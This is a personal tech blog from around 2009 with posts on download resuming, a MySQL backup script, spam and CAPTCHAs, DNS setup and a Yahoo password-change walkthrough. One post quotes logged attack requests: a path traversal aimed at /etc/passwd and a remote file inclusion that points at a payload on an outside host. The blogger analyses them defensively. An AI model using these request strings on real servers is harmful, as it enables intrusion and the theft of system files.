Ramblings of Narc

I got to travel a little bit a few weeks ago — my mother and I went to Borsec (actually, to nearby Corbu) to meet a friend of hers (who happens to have six Dachshunds, but that’s a story for another place). One thing we were warned about was the cellphone network there is spotty (and there’s no power where they live, but we didn’t stay with them, so that was okay).

They weren’t kidding. My lovely 3G modem could only connect at GPRS speeds, and even then the connection tended to drop out every once in a while — which was how I found out many of my favorite lovely little apps have a terrible, terrible time handling intermittent Internet connections.

Now, I’ll be among the first to recognize that broadband adoption has been increasing steadily at a booming pace in the past decade or more, but that doesn’t mean literally everybody has one, or that it’s impossible to go anywhere where one is not available. For that matter, it also doesn’t mean a broadband connection — any broadband connection — is perfect: they do drop sometimes, even if only for short periods, and this needs to be taken into account by any software that purports to handle transfers over the Internet.

On top of that, there is no real excuse for not handling all this stuff well — it’s the year 2009, and Internet connections have been getting widespread for at least 14 years. And they haven’t tended to be fast, reliable ones, either. There is plenty of software that has evolved to take these factors into account. On the Linux side, I only need to point to wget as a download agent that understands this fact and will happily allow a download to be resumed, retried, or restarted, as needed, more or less automatically, and wget is available in pretty much even the most basic Ubuntu system, and very likely in most other “mainstream” Linux distributions. Certainly, it represents an external dependency, but one that can be safely relied on by pretty much any Linux software author.

Except, for instance, the authors of gPodder don’t seem to have ever heard of it. Or, if they have, none of them have bothered making use of this mature, well-written solution to download handling, and instead implemented something written in-house, probably just as a quick ‘n’ dirty hack to quickly get some kind of downloading support in place, so they can at least get to testing the software and get a feel for it. Which would be fine… if it weren’t still in there.

Now, I want to be very clear that I am not specifically harping on gPodder for this. It’s far from the only piece of software that handles downloads poorly. In fact, I would like to turn a particular eye towards Firefox on this front, since I’ve never felt comfortable with its internal download support. Or that of any other browser, for that matter.

But what I would like to say is that the problem of downloads over an unreliable TCP/IP network is a solved one, and solutions exist for it — well-tested solutions that are well-known and work at least 99.99% of the time.

So why is it possible nowadays to write a mostly new piece of software that downloads relatively large files (an episode of the Rathole Radio podcast is around 55 MB, on average), which are bound to take a long time on a slow connection (like a 3G modem forced to work at GPRS speeds), and not build in the capability of resuming an interrupted download?

Even putting aside the fact that a GPRS connection is not the most stable thing in the world (particularly in relatively mountainous areas), there are times I cannot justify leaving a system turned on for the several hours it would take to finish a download unless I were reasonably certain the download was going to finish or that I wouldn’t have to start over from byte zero if it was interrupted. Without that (in my opinion) reasonable expectation, I might as well not bother until or unless I could get to a stable connection to do it. And too bad if I really couldn’t get to that stable connection, isn’t it?

By request, here’s the script I worked up to make periodic database dumps into a directory and gzip them up:

#!/bin/zsh

mysql_user=root
mysql_pass=your-root-password-here
bk_path='/where/to/put/the/dumps'

right_now=`date +"%Y%m%d-h%H"`

bk_fname="${bk_path}/full-db-dump.sql"
bk_gzname="${bk_path}/full-db-dump-${right_now}.sql.gz"

mysqldump -u"$mysql_user" -p"$mysql_pass" --all-databases > "${bk_fname}"
gzip -c "${bk_fname}" > "${bk_gzname}"

Running this as a cron job every [x] hours should be pretty good for small sites, especially if the archive directory is periodically rsynced to another remote host (as in my case).

For serious stuff, you may consider adding MySQL replication for continuous backup.

Oh, and since not everybody uses zsh, you can probably change the hash-bang to point to /bin/sh safely. I haven’t tried it myself, though.

Here’s an interesting quickie: I’ve been getting a bunch (well, four so far, but far more than usual) of comments in Russian, all coming from the same IP that DomainTools says is in Ukraine — apparently, an ISP or something like that.

Now, the comment text, when run through Google Translate, reads pretty innocuous, but the activity smells spammy; and I can’t read Russian anyway, so I don’t want to approve what I don’t understand, either.

To the commenter(s) in question: I have only a slight idea of what you posted. I would prefer comments in English, or Romanian (if you speak that one). French is also an acceptable alternative. I’ll even try Spanish.

And if it’s spam, please just don’t bother — it’s useless!

a.k.a. “Inter-dimensional vortexes? In my database?”

Yah, so I screwed up. Back when I moved the Web server from one computer to another, I thought I might’ve forgotten something important, but couldn’t quite figure out what it was. Then I forgot about that, too, and everything was just fine until yesterday morning…

Being that I was pissed off by the web server’s inability to hold an erection function properly without periodically stopping and starting udev (seriously, I still have no idea why that was happening!), I decided a dist-upgrade to Jaunty might help. I’d already done a couple of them, so I wasn’t totally going into the unknown… And it seemed to work, too! It asked for a reboot, I gave it one. It lost its nvidia driver, but asked for another reboot, so I gave it that one, too… and then things got heavily reminiscent of the Windows days.

You see, after that last reboot, the system would come up, all the way through GDM and showing the nice xfce desktop… and then reboot. Out of the blue. Lather, rinse, repeat.

At this point, I realized I was more or less fuckt… so I dug up a fresh Jaunty iso, burned it to about four CD-RWs before one finally worked, and found I was supposed to plug in a monitor because the install GUI wouldn’t come up on the TV, and… sort of backed up the interesting bits. You know, the old /home, and the old /etc, and also the /opt/www dir.

Did you notice me forgetting anything at this point? If you said “THE DATABASES!!!1oneone!”, you’d be right. Yes, I forgot to back up the databases. The reason I forgot is that I remembered there being 4x daily dumps to a directory inside /opt. Which there are. On the old web server. The one that’s not running anymore.

So, long story short, the databases are back to where they were before I finally disabled apache on the old web server. I’m going to recover the old posts from Google cache (come to think of it, I probably also still have them in the Atom feed) and repost them, but the 4 comments that were posted in the mean time are gone. So sorry.

And after I do that, I’ll turn on that damned automated backup…

Just took these pictures outside my window an hour or so ago:

UPDATE: I took a bunch of photos from the set and managed to make a panoramic pic:

Every blogger has done a post like this. You know them, you love them, they are… the silly Google search queries people use to find your blog!

These are in reverse order of arrival, and the URLs are mostly pasted straight out of the referrer log. Without further ado:

• narc ftp port (Google UK) — I’m not sure I really want to know. Do I have an FTP daemon I’m not aware of? If so, it’s probably stuck inside the LAN, since I’m not forwarding anything unexpected.
• what a narc does to set up people — Did you really think it would be that easy? Us narcs have our professional pride, you know?
• acronym for narcs (Google Australia) — Do we really need an acronym here? “Narc” is a pretty short word already. What would be the acronym? “N”?
• zap+ro (Google Thailand) — I’d really prefer if you didn’t, thank you. I happen to live here in .ro, and I like it.
• pl poke data narc (Google UK) — Er… I don’t think I really want to know what that’s supposed to mean. Using Perl to poke data into my brain? No, thank you. Although, if you manage it, that’ll be a neat hack.
• short summary of the notebook — Before I did that search, I hadn’t known The Notebook (2004) was a movie (and a novel, apparently). So here’s a short summary, then: “It’s a movie (and a book).” Happy?
• why is vodafone website so shit? (Google UK) — Good question! Without knowing anything about their internal organization, I’d guess that most of it was their use of a very crappy technology (JavaServer Pages? That’s what the JSP stands for, yes?), which presumably was chosen because the rest weren’t Enterprise-y enough and/or because that’s what the consultants they hired to do the job “knew”.
• mysql “add a fucking user” — This search actually returns a very specific result from my blog, that being my “Going Insane From Work” post, which unfortunately, doesn’t actually answer the (implied) question. So, here it is: to “add a fucking user” to mysql, the command is: GRANT <privileges> ON <database>.<table> TO '<username>'@'<host>' [IDENTIFIED BY '<password>]. Alternatively, to leave the user at default privileges (that is, none), use: CREATE USER '<username>'@'<host> [IDENTIFIED BY '<password>']. This, and more, can be found in the fucking MySQL manual, which you should’ve picked up like the rest of us do.
• arguments against alcoholics anonymous — Er… why? Oh! Oh! I got one: “I’m not a drunk, I can quit whenever I like!” There’s your argument.
• Finally, i didn’t know my friend was a narc — Well, neither did I. Which poses an interesting question: if neither of us knew, are you really my friend?

That’s it for this edition of “Silly Google Phrases”. One thing I’d like to mention, though — a lot of people have been finding my website by searching google for… narc.ro. I find this very curious, but ultimately, as long as people find what they’re looking for, who am I to judge?

Thank you all, and good night!

So if you’re a visitor here who’s ever at least thought of posting a comment, you’ll probably know I recently (about half a year ago?) switched away from Akismet to reCAPTCHA for my spam-blocking needs. ReCAPTCHA is nice, and the fact that they also make it possible for humans to help where OCR fails is a big bonus for them.

However, the fact that it’s one of the most common types of CAPTCHA means that it’s also the one under the heaviest attack, and that means there are spambots that have learned how to crack it.

As evidence of this, I offer the (dozens of) spam comments I just deleted from my queue (as I was typing this, another one just showed up). The major difference between this spam and the stuff that used to pass through Akismet is the length — these new spam comments are very long. This works in my favour, of course, since it makes it easy to figure out what to delete: if it takes a tap of the Page Down key to get to the end of the comment, it’s very likely spam.

However, if we disregard the content of the spam (which is easily changeable), we can see that it’s really quite a bad idea to rely on any kind of CAPTCHA by itself. It seems I have to echo the many others who have said that spam is a machine-generated problem with only human solutions.

Ultimately, every kind of anti-spam solution has drawbacks:

• statistical analysis solutions (think Bayesian filters) will have false positives and false negatives sometimes.
• distributed blacklists (like Akismet) fail because they’re blacklists — and enumerating badness is a failure waiting to happen[1]. On top of that, open blacklists are easy to poison, leading to… false positives, of course.
• CAPTCHAs, as a special class of solutions, fail because they rely on computers not being able to “read” as well as humans can — the problem being that some humans cannot read as well as a computer can; and also that computers are getting smarter all the time.

I’m sure there are other types of anti-spam solutions I haven’t enumerated, and likely they all fail on one point or another.

One of the best approaches to such problems is a whitelist-based approach, or enumerating goodness. This is much easier to do, since the number of honest commenters is likely much lower and much more stable than the number of potential spammers out there.

“But wait, narc, doesn’t that mean that I have to keep an eye on my moderation queue, to whitelist the allowed commenters?” Well, obviously, but you’d have to keep an eye there anyway to check for false positives, and to delete all the spam you’re getting. So there are no savings either way.

With that said, using a solution like reCAPTCHA can reduce the immense size of the moderation queue, which is a good enough reason to use it. But you still need to keep your eye on the ball, and you also shouldn’t forget that CAPTCHAs will keep out parts of your (potential) audience. I try to do that, and if I ever seem to have failed, I strongly encourage you to contact me and remind me.

Update: I’ve had to close comments on this post due to the fact that it got targeted by a bunch of spammers (who don’t seem to have much trouble with the reCAPTCHA). Meh.

Inspired by Jon Eveland’s qqint, I’ve produced (from scratch) a personal version written in PHP and using an SQLite backend that anyone can set up and use themselves.

I started by putting up some slightly rambly QQSearch documentation that should explain what’s what, and why. Because the docs came first, they may be slightly out of date. They are also slightly ahead of the current state of development, as aliases have not yet been implemented (though it should be reasonably easy to do so).

You can use a demo of QQSearch with the really dangerous bits removed (i.e. no adding and deleting URL mappings).

If you like that, you can go ahead and:

• download QQSearch v. 0.1 as .tar.gz (about 100 KB), or
• download QQSearch v. 0.1 as .zip (about 300 KB)

Short instructions for use: download, extract to the htdocs folder of a PHP-enabled (version 5.1 minimum!) webserver, and browse to it.

If you need more help than that, feel free to contact me and I’ll do my best to get you sorted.

So, I must be the last person on the Internet to have heard of webmin — or, at least, the last person who administers a bunch of Linuxen to do so.

After installing it yesterday on Bast, I discovered, among other things, that webmin has a neat little interface to configure BIND. Since that was basically the one thing I hated having to manage on my own, I decided I’d give it a try — and boy, did it ever work nicely. I’ve managed to transfer the narc.ro zone from the shitty MS server to a nice, neat little BIND9-managed zone on bast.

On top of that, I’ve finally segregated *.narc.ro and *.internal.narc.ro, which makes the DNS a lot cleaner.

In other recent news, however, I did a stupid (this is where the “oopsies” part of the title comes in): I had to change Themis’s IP from 192.168.0.1 to .100 (well, I didn’t have to, I was just lazy), and… I forgot to change the port forward for the DNS. Which ended up breaking my e-mail deliveries, as well as most of everything else related to narc.ro, I’m sure. Luckily, since I also had a reason to change that forward, I caught it relatively quickly (yeah, it only took a couple of days, heh).

So if you were wondering why you couldn’t reach narc.ro, or why your RSS reader was having trouble getting updates, now you know. Aren’t ya glad?

Here’s a neat question for you: what do you think the most traded media on the Internet is?

Is it:

1. Feature-length movies?
2. Music?
3. TV Series?
4. Video Games?
5. None of the above?

As it turns out, the answer is (e) None of the above. “The Internet is for porn” is not just a catchy show-tune. Note that I’m not referring to the most bandwidth consumed, the honor of which goes to spam — I’m referring to actual, user-shared, P2P trafficked media.

So if that’s true, then we can start to look at the RIAA/MPAA’s claims that “The Internet/downloads are destroying the [music/movie] industry”. By this statement, it should be impossible to make any money selling porn on the Internet, right?

…Yeah, and if you believe that, I’ve got a bridge to sell ya. I don’t believe I’ve mentioned this before here on the blog, but I work with porn every day as part of my regular job, and let me tell you: the only time the signups stop is when someone does something stupid to break them. Otherwise, they just keep coming.

So if free porn didn’t kill the pornography industry, what makes the *AA think that free music/movies are going to kill their respective industries? Perhaps they’re hiding some feelings of inadequacy?

(or, having fun with a public-facing Internet presence)

So, since I upgraded the main narc.ro site, I got a custom 404 handler in the bargain — one that emails me whenever it’s hit. Okay, so it initially sent 500 Internal Server Error, but I’ve fixed that part.

Anyway, the result of this is that I get a whole bunch of very fun emails when people try to hit pages on narc.ro that don’t exist, such as:

• http://www.narc.ro//gazelle/?template=../../../../../../../../../../../../../etc/passwd%00
• http://86.104.40.152/roundcube//bin/msgimport
• http://www.narc.ro/gazelle/?template=http://madrigaldelavera.es/joomla/mambots/editors/idit.txt%3f%3f

I hope I don’t have to tell you not to visit those links — they don’t do anything (except email me, which is annoying).

I’m particularly interested in the first on that list, which is also the most recent. The theoretical narc.ro/gazelle path would have been /opt/www/vhosts/www.narc.ro/htdocs/gazelle. Let’s count the ../es in the path our attacker tried — 13 of them. More than enough to get out of the 6-level deep path and into /. And I probably don’t have to tell you that /etc/passwd is a file you really want to guard pretty well — it has all your users in it (/etc/shadow has the hashed passwords, too, but that one’s protected so an ordinary user (or the apache user) would be unable to read it).

So, what protected me, in this case? Firstly, it was the fortunate fact that the script the attacker was trying to hit doesn’t exist; and second, that wherever I have scripts that are able to take user input for a path (for instance, img.narc.ro works like that), I’ve been careful to put in protection against relative path inputs like that one. http://img.narc.ro/../ just won’t work.

This is a semi-adequate level of protection for me, since I write my own scripts — I don’t have to worry about any mistakes made by anyone other than myself, and I’m pretty careful around this stuff.

But note that I am some random corner of the Internet almost nobody knows about, and I’m still getting attacked. That means no matter who you are, if you’re serving Web content, you must take precautions. And even if you’re the only developer on the system, you should still do your best to contain the threat. Defense in depth should be your key phrase. That’s why I’m currently looking into mod_chroot for my Apache2 installation. Your solution may be different, but have one, or at the very least, be aware that you will be attacked, and have some plan to recover from that if, or when, an attack is successful.

I feel a bit like I’m picking on a retarded kid, but I’ve been asked for instructions about changing one’s password on a Yahoo! account, and I figured that was a good excuse to analyze some of the pitfalls of bad UI. Having just tried to find it myself, I have to say it’s not very easily discoverable unless you know what to look for, and that’s pretty hard for a non-programmer.

First, a caveat: I’ve only tried to do this in the context of accessing Yahoo! Mail. It’s possible that other Yahoo! applications make this process a bit easier, but I’m going to assume the person who needs this (friend of my uncle’s, I’ve never met her) is a typical user who doesn’t care about anything other than Yahoo! Messenger and Mail.

With that said, let’s see how to do it:

First, go to http://mail.yahoo.com/ — the easiest way to get straight to Yahoo! mail:

If you don’t have automatic login enabled, you will probably have to sign in now:

In the above picture, note the “Forget your ID or password?” link that can help you if you can’t remember those.

And now we get to the really bad UI: Yahoo! Mail “non-classic” (click for bigger screenshot):

I know, that’s not the whole UI, I’ve cropped a lot of it out, but the interesting part is in there. See what I’ve highlighted there:

When you click it, this is what you see:

Now, you have to figure out that the “Edit My Account” link is likely to have the password-changing option (maybe not that huge a logic leap — I’m not a user, I don’t know how they think). It’s right there:

The result? Erm, you’ll have to enter your password again:

This helps, I’m sure (for instance, if you have auto-login enabled and some idiot goes to Yahoo! Mail on your behalf, at least they can’t change your password, right? But they can read your mail, and send mail as you. Oops.

On the other hand, the profile edit page appears to contain more sensitive information, such as home address, telephone numbers, and such. It would probably also contain credit card information, which is definitely something we don’t want an unauthorized prankster to see.

So, anyway, the result is you’ll be presented with this screen (click for bigger screenshot):

Which, among other things, contains this:

That’s right, there’s the Change Password link. It didn’t take long to get here, did it? Click it, and you get this:

After you fill out this rather standard password change form, you should be looking at this:

That’s it! Now, let’s see how much it took to get here:

• Two password prompts (one of which might not show up in some cases)
• Figuring out a UI element is actually a menu, and that it’s the one we want!
• Understanding that editing “my account” includes changing the password (as I said, maybe not so much of a logic leap)

The conclusion? It’s not too bad, but it could be better. I’d love to see this action — changing one’s password — be somewhat more easily discoverable without having to browse through a drop-down menu, but otherwise it’s pretty understandable once you spend a few minutes thinking about it.

And there’s the rub: you have to think about it. And it’s not in the obvious place, either — there’s an “Options” menu you might think was related, but it actually refers solely to the Yahoo! Mail options. I have no doubt a lot of people get hung up on this point: “I’ve looked everywhere and I can’t find it”. The profile menu is hidden away in the top-left corner next to the logo, and it looks like a greeting, rather than something with which to get stuff done. Further, there are so few options in that menu that they could all be shown directly below, like the “Sign Out” link is, and that might help a bit.

Alternatively, maybe the drop-down menu could be called “Profile Options” or “My Profile” or something, rather than “Hi, <first name>!”. That makes it look like website fluff rather than like an actually useful piece of user interface.

Oh, in case you’re wondering — I’ve removed my details from the screenshots mostly for clarity, rather than out of any fear of giving away any information. My “About Narc” page contains the personal info I’m okay with having out in the open, and you’ll probably note it’s pretty complete. I’m not that bothered by having random people know my personal information — I assume nobody really cares.

I was just reading a post from Alex_Boly’s blog, and found this brilliant explanation of what programming common sense actually is:

[Common] sense is a very elusive concept. How do you express it, how do you explain it to those people violating it in such an unimaginable manner? How can they learn it, use it, teach others? How did you get into its possession?

Hard questions, with no answer. Until now, when I have finally developed a theory of common sense. It may be proven right or wrong, but at least it’s a theory that is, I believe, worth exploring.

My theory can be summarized as following:

1. We start learning programming because we are attracted by it
2. We continue to learn and read more and more because it’s more and more interesting
3. The knowledge pieces we gather connect to each other
4. The connections solidify in patterns
5. The patterns become the second nature and the common sense is born

You can read the rest of Alex_Boly’s theory on common sense at his blog. It’s very much worth it.

Okay, so, if you’re a subscriber to this blog’s RSS feed, I apologize from the bottom of my heart. Having taken the time to subscribe and read that feed, I have come to the conclusion that it is absolute, unfettered crap. It’s severely incomplete, obviously generated automatically, and ends up cutting a HUGE amount of the original post off, in spite of the fact that I specifically asked Wordpress to include the complete article in its generated feeds!

Unfortunately, there didn’t seem to be any solution (other than, probably, getting a plugin to do the right thing instead). Until I looked closer…

Compare this:

Fig. 1: Ramblings of Narc RSS feed sample

To this:

Fig. 2: Ramblings of Narc Atom feed sample

That’s right, the atom feed is much, much better. Like, infinitely better. So much better, in fact, that it’s now the only feed I’m advertising for this blog. If there is demand, I will probably throw the Atom feed through FeedBurner and point people to that, but until then, the Atom feed, which rocks immensely, is king.

I posted a “dent” (God, is that a silly name or what?) recently on identi.ca about how I hate not being able to tell visited links from fresh ones. And then I had a look at this blog and realized it had the exact problem I was ranting about.

The reason for this is that I got this theme from elsewhere, and never really cared enough to look at it very closely.

But, if there’s anything that can get me out of my usual lazy stupor, it’s being (or being called) a hypocrite, so I’ve set out to fix my most obvious failing.

So I’ve added a:visited CSS selectors to all the important places I could find here, on the Ramblings of Narc, and the final result is reasonable, as far as I’m concerned.

As a result, I can now whine all I want about websites that don’t make any obvious visual distinction between visited and unvisited links. But wait, there’s more — I also have a (decent) solution, in the form of a bookmarklet I picked up a long while ago called “zap”. To use it for yourself, all you need to do is drag and drop Zap to your bookmarks toolbar. You can even click it for a live preview.

Oh, the wonders of Javascript bookmarks

Update: Oops, the wonders of Javascript bookmarks, indeed. Somewhere along the way I think WordPress probably mangled it. That’s what I get for not testing carefully enough. Use this link to get to it, instead.